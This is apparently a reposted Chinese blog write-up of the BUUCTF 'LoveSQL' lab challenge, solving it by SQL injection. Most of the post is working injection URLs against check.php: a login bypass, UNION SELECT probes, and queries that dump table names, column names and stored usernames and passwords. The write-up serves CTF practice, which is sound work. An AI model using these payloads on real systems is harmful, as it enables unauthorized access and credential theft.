buuctf-LoveSQL 1

最近都在做sql注入的题,感觉还不错,今天又做了一道sql题,这次可是没看大佬的wp欧

话不多说,开干,启动靶机,打开环境。

 这个和上次做的没啥大的区别啊。
那我又再次查看了一下源代码。果然还是发现了check.php,看来这道题和上次的思路是一致的。

那我就再试一下,万能密码进去

/check.php?username=admin%27%20or%20%271%27=%271%20%23%20&password=123

 这次的竟然没有被注释掉。em......

查了一下回显位

check.php?username=1%27%20union%20select%201,2,3%20%23%20&password=123

 现在我们可以爆一下数据库

check.php?username=1%27%20union%20select%201,version(),database()%20%23%20&password=123

 这就出来了,和上一个是一样的,geek嘛

下一步,爆表名

/check.php?username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23%20&password=123

 有geekuser,love1ysql两个表

再试着爆一下字段名吧

/check.php?username=1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27geekuser%27%20%23%20&password=123

 这就出来了。

最后爆一下数据吧

/check.php?username=1%27%20union%20select%201,2,group_concat(0x3a,username,0x3a,password)%20from%20l0ve1ysq1%20%23%20&password=123

 这就出来了,思路是和我们昨天的题是一致的。

原文地址:https://www.cnblogs.com/awsole/p/13803762.html